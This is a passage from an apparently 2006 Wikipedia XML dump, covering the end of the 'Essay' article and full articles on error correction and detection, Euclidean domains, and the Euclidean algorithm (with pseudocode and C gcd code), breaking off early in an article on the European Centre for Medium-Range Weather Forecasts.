Notable essayists are legion.  They include [[Joseph Addison]], [[Richard Steele (politician)|Richard Steele]], [[Charles Lamb]], [[William Hazlitt]], [[Thomas Babington Macaulay]], [[Ralph Waldo Emerson]], [[Walter Bagehot]], [[George Orwell]], and [[E.B. White]].

It is very difficult to define the genre of essay, but the following remarks by [[Aldous Huxley]], regarded in his day as a leading practitioner of the genre, may be of interest:

:&quot;Like the novel, the essay is a literary device for saying almost everything about almost anything.  By tradition, almost by definition, the essay is a short piece, and it is therefore impossible to give all things full play within the limits of a single essay.  But a collection of essays can cover almost as much ground, and cover it almost as thoroughly, as can a long novel.  Montaigne's Third Book is the equivalent, very nearly, of a good slice of the ''Com&amp;eacute;die Humaine''.  Essays belong to a literary species whose extreme variability can be studied most effectively within a three-poled frame of reference.  There is the pole of the personal and the autobiographical; there is the pole of the objective, the factual, the concrete-particular; and there is the pole of the abstract-universal.  Most essayists are at home and at their best in the neighborhood of only one of the essay's three poles, or at the most only in the neighborhood of two of them.  There are the predominantly personal essayists, who write fragments of reflective autobiography and who look at the world through the keyhole of anecdote and description.  There are the predominantly objective essayists who do not speak directly of themselves, but turn their attention outward to some literary or scientific or political theme. &amp;hellip; And how splendid, how truly oracular are the utterances of the great generalizers! &amp;hellip; The most richly satisfying essays are those which make the best not of one, not of two, but of all the three worlds in which it is possible for the essay to exist&quot; (''Collected Essays'', &quot;Preface&quot;).

==The essay as a pedagogical tool==

In recent times, essays have become one of the chief tools by which [[college]]s judge the mastery and comprehension of material, and they are sometimes used as a part of the criteria by which the student body is selected as well. Academic essays are usually more formal and present the writer's own views as well as the comprehensive analysis of what has previously been written on a topic. 

Many students' first exposure to the genre is the &quot;five-paragraph essay&quot;: a highly structured form requiring an introduction presenting the [[thesis statement]]; three body paragraphs, each of which presents an idea to support the thesis; and a conclusion, which restates the thesis and summarizes the supporting points. The form is controversial. It does allow the student writer to put some structure in place, at a stage when the main concern is mastering more &quot;tactical level&quot; issues such as unified paragraphs, transitions, thesis statements, and so forth, but its simplistic structure severely limits the author's range of expression.

Other common types of essays used for academic purposes include argumentative essays, definition essays, compare/contrast essays, and cause/effect essays.

Common subjects of academic essays include history, philosophy, psychology, and literature.

==Non-literary essays==
===Art===
In the visual [[art]]s, an essay is a preliminary drawing or sketch upon which a final painting or sculpture is based, made as a test of the work's composition (this meaning of the term, like several of those following, comes from the word ''essay'''s meaning of &quot;attempt&quot; or &quot;trial&quot;).
===Music===
In the realm of [[music]], composer [[Samuel Barber]] wrote a set of &quot;Essays for Orchestra,&quot; relying on the form and content of the music to guide the listener's ear, rather than any extra-musical plot or story.
===Film===
[[Film]] can also be used to produce the more subjective reflective attitude characteristic of essays. Important essay film makers include [[Chris Marker]], [[Guy Debord]], [[Raoul Peck]] and [[Harun Farocki]].  One working definition of the essay film is &quot;documentary laced with self-portrait.&quot; Theoretical approaches to this genre can be found in the works of Michel Beaujour, Raymond Bellour and Roland Barthes.  Other filmmakers who have been active in the essay film are [[Orson Welles]], Trinh T. Minh-ha, Hartmut Bitomski, Alexander Kluge, Jem Cohen, [[Jean-Luc Godard]] and Robert Kramer.  Perhaps the original essay filmmaker was [[Dziga Vertov]].

===Photography===
A [[photography|photographic]] essay is an attempt to cover a topic by a series of photographs.

===Philately===
In [[philately]], an '''essay''' is a [[prototype]] for a proposed [[stamp]]. In contrast, a '''proof''' is the prototype of an accepted stamp. Both essays and proofs are rare, as usually just a few are produced. They are not sold publicly, but handled by insiders or held in postal museums or collections.
Possibly the first essay of a stamp not accepted is the [[Prince Consort Essay]] from [[1850]].

===Numismatics===
A [[numismatics|numismatic]] essay is a coin prototype proposed for general sale or circulation.

==Related terms==
*[[abstract (summary)]]
*[[Introduction (essay)|Introduction]]
*[[Body (writing)]]
*[[Book report]]
*[[conclusion]]
*[[plagiarism]]

==References==
* [[Theodor W. Adorno]], ''The Essay as Form'' in: Theodor W. Adorno, The Adorno Reader, Blackwell Publishers 2000

* Beaujour, Michel. Miroirs d'encre: Rhétorique de l'autoportrait. Paris: Seuil, 1980. [Poetics of the Literary Self-Portrait. Trans. Yara Milos. New York: NYU Press, 1991].

* Bensmaïa, Reda. The Barthes Effect: The Essay as Reflective Text. Trans. Pat Fedkiew. Minneapolis: Univ. of Minnesota Press, 1987.

== External links ==
* [http://www.theory.org.uk/david/essay.htm How to write an essay] - A short guide for university students by [[David Gauntlett]]
* [http://www.paulgraham.com/essay.html The Age of the Essay] by [[Paul Graham]]
* [http://www.uk-student.net/modules/wfsection/viewarticles.php?category=2 Guidance on Essay Writing]
* [http://www.gutenberg.org/catalog/world/results?title=essay Essay eTexts] at [[Project Gutenberg]]
* [http://www.neilstoolbox.com/bibliography-creator/ Reference Generator] - generates references in the correct form
* [http://depts.gallaudet.edu/englishworks/writing/essay.html English Tutoring and Writing Center] - guide to different kinds of essays
* [http://www3.baylor.edu/~Jesse_Airaudi/nothingwords.html How to Say Nothing in 500 Words] - Tips for writing good essays


[[Category:Literature]][[Category:Essays|*]]

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  <page>
    <title>Error correction and detection</title>
    <id>10375</id>
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      <timestamp>2006-02-26T07:43:40Z</timestamp>
      <contributor>
        <ip>71.111.214.183</ip>
      </contributor>
      <comment>/* Error correction */</comment>
      <text xml:space="preserve">{{merge|Forward error correction}}
In [[computer science]] and [[information theory]], the issue of '''error correction and detection''' has great practical importance. Error detection is the ability to detect errors that are made due to noise or other impairments in the
course of the transmission from the transmitter to the receiver. Error correction has the additional feature that
enables localization of the errors and correcting them.
Given the goal of error correction, the idea of error detection may seem to be insufficient. However, error-correction schemes may be computationally intensive, or require excessive redundant data which may be inhibitive for a certain application. Error correction in some applications, such as a sender-receiver system, can be achieved with only a detection system in tandem with an [[ARQ|automatic repeat request]] scheme to notify the sender that a portion of the data sent was received incorrectly and will need to be retransmitted, however where efficiency is important, it is possible to detect and correct errors with far less redundant data.

=== Typical schemes ===
Several schemes exist to achieve error detection, and are generally quite simple.

==== Repetition schemes ====
Variations on this theme exist. Given a stream of data that is to be sent, the data is broken up into blocks of bits, and in sending, each block is sent some predetermined number of times. For example, if we want to send &quot;1011&quot;, we may repeat this block three times each.

Suppose we send &quot;1011 1011 1011&quot;, and this is received as &quot;1010 1011 1011&quot;. As one group is not the same as the other two, we can determine that an error has occurred. This scheme is not very efficient, and can be susceptible to problems if the error occurs in exactly the same place for each group (e.g. &quot;1010 1010 1010&quot; in the example above will be detected as correct in this scheme).

The scheme however is extremely simple, and is in fact used in some transmissions of [[numbers station]]s.

==== Parity schemes ====
:''Main article'': [[Parity bit]]
Given a stream of data that is to be sent, the data is broken up into blocks of bits, and the number of 1 bits is counted.  Then, a &quot;parity bit&quot; near the block is set or cleared if the number of one bits is odd or even.  If the tested blocks overlap, then the parity bits can be used to isolate the error, and even correct it if the error is isolated to one bit: This is the principle of the [[Hamming code]].

There is a limitation to parity schemes.  A parity bit is only guaranteed to detect single bit errors.  If two or more bits have an error, the parity bit can record the correct number of ones, even though the data is corrupt.

==== Cyclic redundancy checks ====
: ''Main article'': [[Cyclic redundancy check]]
Many more complex error detection (and correction) methods make use of the properties of finite fields and polynomials over such fields.

The cyclic redundancy check considers a block of data as the coefficients to a polynomial and then divides by a fixed, predetermined polynomial. The coefficients of the result of the division is taken as the redundant data bits, the CRC.

* Checking the received data can be achieved by multiplying the predetermined polynomial by the CRC.
* If this is the same as the payload data, then the data has been received without error.
* Alternatively, one can recompute the CRC from the payload bits and compare the CRC with the CRC that has been received.

== Error correction ==
The above methods are sufficient to determine whether some data has been received in error. But often, this is not enough. Consider an application such as [[simplex]] teletype over radio ([[SITOR]]). If a message needs to be received quickly and needs to be complete without error, merely knowing where the errors occurred may not be enough, the second condition is not satisfied as the message will be incomplete. Suppose then the receiver waits for a message to be repeated (since the situation is simplex), the first condition is not satisfied since the receiver will have to wait (possibly a long time) for the message to be repeated to fill the gaps left by the errors.

It would be advantageous if the ''receiver'' could somehow determine what the error was and thus correct it. Is this even possible? Yes, consider the [[NATO phonetic alphabet]] -- if a sender were to be sending the word &quot;WIKI&quot; with the alphabet by sending &quot;WHISKEY INDIA KILO INDIA&quot; and this was received (with * signifying letters received in error) as &quot;W***KEY I**I* **LO **DI*&quot;, it would be possible to correct all the errors here since there is only one word in the NATO phonetic alphabet which starts with &quot;W&quot; and ends in &quot;KEY&quot;, and similarly for the other words. This idea is also present in some error correcting codes (ECC).

Error-correcting schemes also have their limitations. Some can correct a certain number of bit errors and only detect further numbers of bit errors. Codes which can correct one error are termed single error correcting (SEC), and those which detect two are termed double error detecting (DED). There are codes which can correct and detect more errors than these.

== Applications ==
=== The Internet ===
In a typical [[TCP/IP]] stack, error detection is performed at multiple levels:
* Each [[Ethernet]] [[Data frame|frame]] carries a [[Cyclic redundancy check|CRC-32]] [[checksum]]. The receiver discards frames if their checksums don't match.
* The [[IPv4]] header contains a header checksum of the contents of the header (excluding the checksum field). [[Packets]] with checksums that don't match are discarded.
* The checksum was omitted from the [[IPv6]] header, because most current [[link layer]] protocols have error detection.
* [[User Datagram Protocol|UDP]] has an optional checksum. Packets with wrong checksums are discarded.
* [[Transmission Control Protocol|TCP]] has a checksum of the payload, TCP header (excluding the checksum field) and source- and destination addresses of the IP header. Packets found to have incorrect checksums are discarded and eventually get retransmitted when the sender receives a [[triple-ack]] or a [[timeout (telecommunication)|time-out]] occurs.

=== Deep Space Telecommunications ===
[[NASA]] has used many different error correcting codes. For missions between 1969 and 1977 the Mariner spacecraft used a [[Reed-Muller code]]. The noise these spacecraft were subject to was well approximated by a &quot;bell-curve&quot; ([[normal distribution]]), so the Reed-Muller codes were well suited to the situation.

The [[Voyager 1]] &amp; [[Voyager 2]] spacecraft transmitted color pictures of [[Jupiter]] and [[Saturn]] in 1979 and 1980.
* Color image transmission required 3 times the amount of data, so the [[Golay code|Golay (24,12,8) code]] was used.
* This Golay code is only 3-error correcting, but it could be  transmitted at a much higher data rate.
* Voyager 2 went on to [[Uranus]] and [[Neptune]] and the code was switched to a concatenated [[Reed-Solomon code]]-[[Convolutional code]] for its substantially more powerful error correcting capabilities.
* Current DSN error correction is done with dedicated hardware.
* For some NASA deep space craft such as those in the [[Voyager program]], [[Cassini-Hyugens]] ([[Saturn]]), [[New Horizons]] ([[Pluto]]) and [[Deep Space 1]] -- the use of hardware ECC may not be feasible for the full duration of the mission.
* A solution to the hardware-software error correction problem exists called &quot;Deep Space Network @ Home&quot; [http://hireme.geek.nz/dsn-at-home.html]

&lt;br style=&quot;clear:both&quot; /&gt;
[[Image:NASA_ECC_Codes-imperfection.png|thumb|600px|left|NASA's Deep Space Missions ECC Codes (code imperfectness)]]
&lt;br style=&quot;clear:both&quot; /&gt;

The different kinds of deep space and orbital missions that are conducted suggest that trying to find a &quot;one size fits all&quot; error correction system will be an ongoing problem for some time to come.
* For missions close to the earth the nature of the &quot;noise&quot; is different from that on a spacecraft headed towards the outer planets
* In particular, if a transmitter on a spacecraft far from earth is operating at a low power, the problem of correcting for noise gets larger with distance from the earth

=== Satellite Broadcasting ([[DVB]]) ===

The demand for satellite [[transponder]] bandwidth continues to grow, fueled by the desire to deliver television (including new channels and [[High Definition TV]]) and IP data. Transponder availability and bandwidth constraints have limited this growth, because transponder capacity is determined by the selected [[modulation]] scheme and Forward Error Correction ([[FEC]]) rate.

[[Scientific-Atlanta]] (now part of [[Cisco Systems]]) has been evaluating developing products based on [[Turbo code|Turbo Codes]] concatenated with  minimal complexity [[Reed-Solomon error correction|Reed-Solomon Codes]] in its laboratories in [[Atlanta]], [[Georgia (U.S. state)|Georgia]] and [[Toronto]], [[Canada]].

Overview
* [[QPSK]] coupled with traditional Reed Solomon and Viterbi codes have been used for nearly 20 years for the delivery of digital satellite TV.
* Higher order modulation schemes such as [[8PSK]], [[Quadrature amplitude modulation|16QAM]] and [[32QAM]] have enabled the satellite industry to increase transponder efficiency by several orders of magnitude.
* This increase in the information rate in a transponder comes at the expense of an increase in the carrier power to meet the threshold requirement for existing antennas.
* Tests conducted using the latest chipsets demonstrate that the performance achieved by using Turbo Codes may be even lower than the 0.8 [[Decibel|dB]] figure assumed in early designs.

&lt;br style=&quot;clear:both&quot; /&gt;
[[Image:Block-ECC-Codes_2D_3D_types.png|frame|left|Block 2D &amp; 3D bit allocation models used by ECC coding systems in terrestrial telecommunications]]
&lt;br style=&quot;clear:both&quot; /&gt;

== Information theory and error correction and detection ==
[[Information theory]] tells us that whatever the probability of error in transmission or storage, it is possible to construct error-correcting codes in which the likelihood of failure is arbitrarily low, although this requires adding increasing amounts of [[redundancy check|redundant data]] to the original, which might not be practical when the error probability is very high. [[Shannon's theorem]] sets an upper bound to the error correction rate that can be achieved (and thus the level of [[noise]] that can be tolerated) using a fixed amount of redundancy, but does not tell us how to construct such an optimal encoder.

Error-correcting codes can be divided into [[block code]]s and [[convolutional code]]s. Other block error-correcting codes, such as [[Reed-Solomon error correction|Reed-Solomon codes]] transform a chunk of bits into a (longer) chunk of bits in such a way that errors up to some threshold in each block can be detected and corrected.

However, in practice errors often occur in [[error burst|bursts]] rather than at random. This is often compensated for by shuffling (interleaving) the bits in the message after coding. Then any burst of bit-errors is broken up into a set of scattered single-bit errors when the bits of the message are unshuffled (de-interleaved) before being decoded.

== List of error-correction methods ==
* [[Check bit]]
* [[Check digit]]
* [[Convolutional code]]s are usually decoded with [[Iterative Viterbi Decoding]] techniques
* [[Digital fountain code]]
* [[Differential space-time code]], related to Alamouti Code family of Space-Time codes.
* [[Erasure code]]
* [[Forward error correction]]
* [[Group code]]
* [[Golay code]], the [[Binary Golay code]]s are the most commonly used Golay codes
* [[Hagelbarger code]]
* [[Hamming code]]
* [[Longitudinal redundancy check]]
* [[Low-density parity-check code]]
* [[Parity bit]]
* [[Reed-Solomon error correction]]
* [[Reed-Muller code]]
* [[Sparse graph code]]
* [[Space-time trellis code]]
* [[Turbo code]]
* [[Viterbi algorithm]]
* [[Walsh code]] used in cellular telephony for its high noise immunity, not just its ECC capabilities

== See also ==
Error Correction Standardization
* [[Federal Standard 1037C]]
* [[MIL-STD-188]]

Research Conferences on Error Correction
* 4th INTERNATIONAL SYMPOSIUM ON TURBO CODES
# Website http://www-turbo.enst-bretagne.fr/
# Website http://www.turbo-coding-2006.org/

== External links ==
* [http://www.inference.phy.cam.ac.uk/mackay/itila/ The on-line textbook: Information Theory, Inference, and Learning Algorithms], by David MacKay, contains chapters on elementary error-correcting codes; on the theoretical limits of error-correction; and on the latest state-of-the-art error-correcting codes, including [[low-density parity-check code]]s, [[turbo code]]s, and [[digital fountain codes]].
* Article: [http://cr.yp.to/hardware/ecc.html Memory errors and SECDED]

[[Category:Error detection and correction|*]]

[[ca:Detecció d'errors]]
[[de:Fehlerkorrekturverfahren]]
[[es:Detección de errores]]
[[fr:Code correcteur]]
[[ko:오류정정부호]]
[[nl:Kanaalcodering]]
[[pt:Error Correcting Code]]
[[ja:誤り検出]]
[[ru:Коррекция ошибок]]</text>
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  <page>
    <title>Euclidean domain</title>
    <id>10376</id>
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        <username>PiAndWhippedCream</username>
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      </contributor>
      <minor />
      <text xml:space="preserve">In [[abstract algebra]], a '''Euclidean domain''' (also called a '''Euclidean ring''') is a type of [[Ring (mathematics)|ring]] in which the [[Euclidean algorithm]] can be used.

More precisely, a Euclidean domain is an [[integral domain]] ''D'' on which one can define a [[function (mathematics)|function]] ''v'' mapping nonzero elements of ''D'' to non-negative [[integer|integers]] that satisfies the following division-with-remainder property:

*If ''a'' and ''b'' are in ''D'' and ''b'' is nonzero, then there are ''q'' and ''r'' in ''D'' such that ''a'' = ''bq'' + ''r'' and either ''r'' = 0 or ''v''(''r'') &lt; ''v''(''b'').

The function ''v'' is called a ''valuation'' or ''norm'' or ''gauge'' and the key point here is that the remainder ''r'' has ''v''-size smaller than the ''v''-size of the divisor ''b''. 
Nearly all algebra textbooks which discuss Euclidean domains include the following extra property in the definition: for all nonzero ''a'' and ''b'' in ''D'', ''v''(''ab'') &amp;ge; ''v''(''a''). 
This property does not have to be assumed since it is not needed to prove the most basic facts about Euclidean domains (see below). However, this inequality can 
always be arranged to occur by changing the choice of ''v'', as follows: if (''D'',''v'') is a Euclidean domain as given above then the function ''w'' defined on nonzero elements 
of ''D'' by ''w''(''a'') = least value of ''v''(''ax'') as ''x'' runs over nonzero elements of ''D'' also makes ''D'' a Euclidean domain according to the above definition 
and it satisfies ''w''(''ab'') &amp;ge; ''w''(''a'') for all nonzero ''a'' and ''b'' in ''D''.  

Examples of Euclidean domains include:
*'''Z''', the ring of [[integer|integers]]. Define ''v''(''n'') = |''n''|, the [[absolute value]] of ''n''.
*'''Z'''[''i''], the ring of [[Gaussian integer|Gaussian integers]]. Define ''v''(''a''+''bi'') = ''a''&lt;sup&gt;2&lt;/sup&gt;+''b''&lt;sup&gt;2&lt;/sup&gt;, the norm of the Gaussian integer ''a''+''bi''.
*''K''[''X''], the [[polynomial ring|ring of polynomials]] over a [[field (mathematics)|field]] ''K''. For each nonzero polynomial ''f'', define ''v''(''f'') to be the degree of ''f''. 
*''K''&lt;nowiki&gt;[[&lt;/nowiki&gt;''X''&lt;nowiki&gt;]]&lt;/nowiki&gt;, the ring of [[formal power series]] over the field ''K''. For each nonzero power series ''f'', define ''v''(''f'') as the degree of the smallest power of ''X'' occurring in ''f''.
*Any field. Define ''v''(''x'') = 1 for all nonzero ''x''.

The examples of polynomial and power series rings in one variable are the reason that the function ''v'' in the definition of a Euclidean domain 
is not assumed to be defined at 0.

Every Euclidean domain is a [[principal ideal domain]].
In fact, if ''I'' is a nonzero [[ring ideal|ideal]] of a Euclidean domain ''D'' and a nonzero ''a'' in ''I'' is chosen to minimize ''v''(''a'') over all elements of ''I'', then ''I'' = ''aD''.
The proof of this does not use the inequality ''v''(''ab'') &amp;ge; ''v''(''a''). 

The name Euclidean domain comes from the fact that the extended [[Euclidean algorithm]] can be carried out in any Euclidean domain
[[category:abstract algebra]].  The proof that this algorithm terminates does not use the inequality ''v''(''ab'') &amp;ge; ''v''(''a'').

In order to prove every nonzero nonunit in a Euclidean domain is a product of irreducibles, the inequality ''v''(''ab'') &amp;ge; ''v''(''a'') is useful for an inductive argument. 
Or one could instead appeal to the proof of this same result for any principal ideal domain (or [[Noetherian ring|Noetherian domain]]) and once again avoid having to 
use the inequality ''v''(''ab'') &amp;ge; ''v''(''a'').

[[de:Euklidischer Ring]]
[[es:Dominio euclídeo]]
[[fr:Anneau euclidien]]</text>
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  </page>
  <page>
    <title>Euclidean algorithm</title>
    <id>10377</id>
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      <id>40215707</id>
      <timestamp>2006-02-19T00:39:26Z</timestamp>
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      <comment>/* [[C programming language|C]/[[C plus plus|C++]] implementation */ - sorry forgot to preview</comment>
      <text xml:space="preserve">:''This article is not about [[Euclidean geometry]].''

The '''Euclidean algorithm''' (also called '''Euclid's algorithm''') is an [[algorithm]] to determine the [[greatest common divisor]] (gcd) of two [[integer]]s. Its major significance is that it does not require [[factorization|factoring]] the two integers. It is also significant in that it is one of the oldest algorithms known, dating back to the Greeks. The algorithm works by repeatedly dividing the two numbers and the remainder in turns. The Euclidean algorithm is not restricted to integers, it may be used to compute gcd of elements of any [[Euclidean domain]], for example [[polynomials]] over a [[field (mathematics)|field]].

==History==
The Euclidean algorithm is one of the oldest algorithms known, since it appeared in [[Euclid's Elements|Euclid's ''Elements'']] around [[300 BC]]. Euclid originally formulated the problem geometrically, as the problem of finding a common &quot;measure&quot; for two line lengths, and his algorithm proceeded by repeated subtraction of the shorter from the longer segment. However, the algorithm was probably not discovered by [[Euclid]] and it may have been known up to 200 years earlier.  It was almost certainly known by [[Eudoxus of Cnidus]] (about 375 BC); and [[Aristotle]] (about 330 BC) hinted at it in his ''Topics'', 158b, 29-35.

==Description of the algorithm==
Given two [[natural number]]s ''a'' and ''b'', and assuming ''a'' is greater than or equal to ''b'', check if ''b'' is zero. If yes,
''a'' is the gcd. If not, repeat the process using ''b'' and the remainder
after integer division of ''a'' by ''b'' (written a ''[[modulo operation|modulo]]'' b below).
The algorithm can be naturally expressed using [[tail recursion]] such as the following pseudocode:

  '''function''' gcd(a, b)
      '''if''' b = 0 '''return''' a
      '''else''' '''return''' gcd(b, a '''mod''' b)

The original algorithm as described by Euclid treated it as a geometric problem, and hence used repeated subtraction of the smaller number from the larger number rather than integer division. This is equivalent to the following pseudocode, which is considerably less efficient than the method explained above:

  '''function''' gcd(a, b)
      '''while''' a &amp;ne; b
          '''if''' a &gt; b
              a := a - b
          '''else'''
              b := b - a
      '''return''' a

By keeping track of the quotients occurring during the algorithm, one can also determine integers ''p'' and ''q'' with ''ap''&amp;nbsp;+&amp;nbsp;''bq''&amp;nbsp;=&amp;nbsp;gcd(''a'',&amp;nbsp;''b'').
This is known as the [[extended Euclidean algorithm]].

As an example, consider computing the gcd of 1071 and 1029, which is 21, with this algorithm:

{|class=&quot;wikitable&quot;
!a!!b!!Explanation
|-
|1071||1029||Step 1: We start by putting the larger number on the left, and the smaller on the right.
|-
|1029||42||Step 2: The remainder of 1071 divided by 1029 is 42, which is put on the right, and the divisor 1029 is put on the left.
|-
|42||21||Step 3: We repeat step 2, dividing 1029 by 42, and get 21 as remainder.
|-
|21||0||Step 4: Repeat step 2 again, since 42 is divisible by 21, we get 0 as remainder, and the algorithm terminates. The number on the left, that is 21, is the gcd as required.
|}

These algorithms can be used in any context where division with remainder is possible. This includes [[polynomial ring|rings of polynomials]] over a [[field (mathematics)|field]] as well as the ring of [[Gaussian integer]]s, and in general all [[Euclidean domain]]s. Applying the algorithm to the more general case other than natural number will be discussed in more detail later in the article.

== Proof of correctness ==

Suppose ''a'' and ''b'' are the numbers whose gcd has to be determined. And suppose the remainder of the division of ''a'' by ''b'' is ''t''.  Therefore ''a''&amp;nbsp;=&amp;nbsp;''qb''&amp;nbsp;+&amp;nbsp;''t'' where ''q'' is the quotient of the division. Now any common divisor of ''a'' and ''b'' also divides ''t'' (since ''t'' can be written as ''t''&amp;nbsp;=&amp;nbsp;''a''&amp;nbsp;&amp;minus;&amp;nbsp;''qb''); similarly, any common divisor of ''b'' and ''t'' will also divide ''a''. Thus the greatest common divisor of ''a'' and ''b'' is the same as the greatest common divisor of ''b'' and ''t''. Therefore it is enough if we continue the process with the numbers ''b'' and ''t''.
Since ''t'' is smaller in [[absolute value]] than ''b'', we will reach ''t''&amp;nbsp;=&amp;nbsp;0 after finitely many steps.

== Running time ==

[[Image:Euclidean algorithm running time X Y.png|thumb|256px|Plot of the running time for gcd(x,y)]]

When analyzing the running time of Euclid's algorithm, it turns out that the inputs requiring the most divisions are two successive [[Fibonacci number]]s, and the worst case requires [[Big O notation|''O''(''n'')]] divisions, where ''n'' is the number of digits in the input. However, it must be noted that the divisions themselves are not atomic operations (if the numbers are larger than the natural size of the computer's arithmetic operations), since the size of the operands could be as large as ''n'' digits. The actual running time is therefore ''O''(''n''&amp;sup2;).

This is, nevertheless, considerably better than Euclid's original algorithm, in which the modulus operation is effectively performed using repeated subtraction in ''O''(2&lt;sup&gt;''n''&lt;/sup&gt;) steps. Consequently, this version of the algorithm requires ''O''(''n''2&lt;sup&gt;''n''&lt;/sup&gt;) time for ''n''-digit numbers, or ''O''(''m''log ''m'') time for the number ''m''.

Euclid's algorithm is widely used in practice, especially for small numbers, due to its simplicity. An alternative algorithm, the [[binary GCD algorithm]], exploits the [[binary numeral system|binary]] representation used by computers to avoid divisions and thereby increase efficiency, although it too is ''O''(''n''&amp;sup2;); it merely shrinks the constant hidden by the big-O notation on many real machines.

== Relation with continued fractions ==

The quotients that appear when the Euclidean algorithm is applied to the inputs ''a'' and ''b'' are precisely the numbers occurring in the [[continued fraction]] representation of ''a''/''b''. 
Take for instance the example of ''a''&amp;nbsp;=&amp;nbsp;1071 and ''b''&amp;nbsp;=&amp;nbsp;1029 used above. 
Here is the calculation with highlighted quotients:
:1071 = 1029 &amp;times; '''1''' + 42
:1029 = 42 &amp;times; '''24''' + 21
:42 = 21 &amp;times; '''2''' + 0
From this, one can read off that
:&lt;math&gt;\frac{1071}{1029} = \mathbf{1} + \frac{1}{\mathbf{24} + \frac{1}{\mathbf{2}}}&lt;/math&gt;.
This method can even be used for [[real number|real]] inputs ''a'' and ''b''; if ''a''/''b'' is [[irrational number|irrational]], then the Euclidean algorithm will not terminate, but the computed sequence of quotients still represents the (now infinite) continued fraction representation of ''a''/''b''.

== Generalisation to Euclidean domains ==
The Euclidean algorithm can be applied to some [[ring (mathematics)|rings]], not just the [[integers]]. The most general context in which the algorithm terminates with the greatest common divisor is the so-called [[Euclidean domain]]. These include the [[Gaussian integers]] and [[polynomial ring]]s over a [[field (mathematics)|field]].

As an example, consider the ring of polynomials with [[rational number|rational]] coefficients. In this ring, division with remainder is carried out using [[polynomial long division|long division]], also known as [[synthetic division]]. The resulting polynomials are then made [[monic polynomial|monic]] by factoring out the leading coefficient. 

We calculate the greatest common divisor of

: &lt;math&gt;x^4-4x^3+4x^2-3x+14 = (x^2-5x+7)(x^2+x+2)&lt;/math&gt;

and

: &lt;math&gt;x^4+8x^3+12x^2+17x+6 = (x^2+7x+3)(x^2+x+2)&lt;/math&gt;

Following the algorithm gives these values:

{|class=wikitable
!a!!b
|-
|&lt;math&gt;x^4-4x^3+4x^2-3x+14&lt;/math&gt;||&lt;math&gt;x^4+8x^3+12x^2+17x+6&lt;/math&gt;
|-
|&lt;math&gt;x^3+\frac{2}{3}x^2+\frac{5}{3}x-\frac{2}{3}&lt;/math&gt;||&lt;math&gt;x^4-4x^3+4x^2-3x+14&lt;/math&gt;
|-
|&lt;math&gt;x^2+x+2&lt;/math&gt;||&lt;math&gt;x^3+\frac{2}{3}x^2+\frac{5}{3}x-\frac{2}{3}&lt;/math&gt;
|-
|&lt;math&gt;0&lt;/math&gt;||&lt;math&gt;x^2+x+2&lt;/math&gt;
|-
|}

This agrees with the explicit factorization. For general Euclidean domains, the proof of correctness is by induction on some size function. For the integers, this size function is just the identity. For rings of polynomials over a field, it is the degree of the polynomial (note that each step in the above table reduces the degree by one).

==[[C programming language|C]]/[[C plus plus|C++]] implementation==
&lt;pre&gt;&lt;nowiki&gt;
int gcd(int a, int b) {
  if (b == 0)
    return a;
  else
    return gcd(b, a % b);
}
&lt;/nowiki&gt;&lt;/pre&gt;

This can be rewritten iteratively as:

&lt;pre&gt;&lt;nowiki&gt;
int gcd(int a, int b) {
  int t;
  while (b != 0) {
    t = b;
    b = a % b;
    a = t;
  }
  return a;
}
&lt;/nowiki&gt;&lt;/pre&gt;
&lt;!--
I commented this out as I translated this implementation into C above to fit with the section name
I believe the C is correct and equivalent to this (which doesn't look all that Pascally to me, or did Pascal get blocks by whitespace like Python and Haskell?) but I'll leave this here just in case.
 '''function''' gcd(a, b)
   '''while''' b &amp;ne; 0
     '''var''' t := b               Note: This is in [[Pascal_programming_language|Pascal]].
     b := a modulo b
     a := t
   '''return''' a
--&gt;

==See also==

* [[Least common multiple]]
* [[Extended Euclidean algorithm]]

==References==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Sections 4.5.2&amp;ndash;4.5.3, pp.333&amp;ndash;379.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Section 31.2: Greatest common divisor, pp.856&amp;ndash;862.

==External links==
* [http://www.cut-the-knot.org/blue/Euclid.shtml Euclid's Algorithm] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/blue/binary.shtml Binary Euclid's Algorithm (Java)] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/blue/EuclidAlg.shtml Euclid's Game (Java)] at [[cut-the-knot]]

[[Category:Number theoretic algorithms]]

[[bg:Алгоритъм на Евклид]]
[[ca:Algorisme d'Euclides]]
[[cs:Euklidův algoritmus]]
[[de:Euklidischer Algorithmus]]
[[es:Algoritmo de Euclides]]
[[fr:Algorithme d'Euclide]]
[[ko:유클리드 호제법]]
[[id:Algoritma Euklidean]]
[[it:Algoritmo di Euclide]]
[[lt:Euklido algoritmas]]
[[hu:Euklidészi algoritmus]]
[[nl:Algoritme van Euclides]]
[[ja:ユークリッドの互除法]]
[[pl:Algorytm Euklidesa]]
[[pt:Algoritmo de Euclides]]
[[ru:Алгоритм Евклида]]
[[sl:Evklidov algoritem]]
[[fi:Eukleideen algoritmi]]
[[sv:Euklides algoritm]]
[[vi:Giải thuật Euclid]]
[[zh:輾轉相除法]]</text>
    </revision>
  </page>
  <page>
    <title>European Centre for Medium-Range Weather Forecasts</title>
    <id>10378</id>
    <revision>
      <id>33407462</id>
      <timestamp>2005-12-31T20:02:17Z</timestamp>
      <contributor>
        <username>Malepheasant</username>
        <id>345020</id>
      </contributor>
      <comment>+categories</comment>
      <text xml:space="preserve">The '''European Centre for Medium-Range Weather Forecasts''' ('''ECMWF''') is an international intergovernmental organization based at [[Reading, Berkshire|Reading]], [[England]] that was founded in [[1975]].


== Objectives ==
The objectives of the ECMWF are:
*Development of [[Numerical analysis|numerical methods]] for medium-range [[weather forecasting]]
*Preparation of medium-range weather forecasts for distribution to the member states
*Scientific and technical research directed to the improvement of these forecasts
*Collection and storage of appropriate meteorological data.


== Work and Projects ==
The ECMWF has been producing operational medium-range weather forecasts since [[1979-08-01]].

It has run two &quot;re-analysis&quot; projects, the first [[ECMWF re-analysis]] (ERA-15) project generated reanalyses from December [[1978]] to February [[1994]].
The ERA-40 project generated reanalyses from [[1957]].

== Members ==
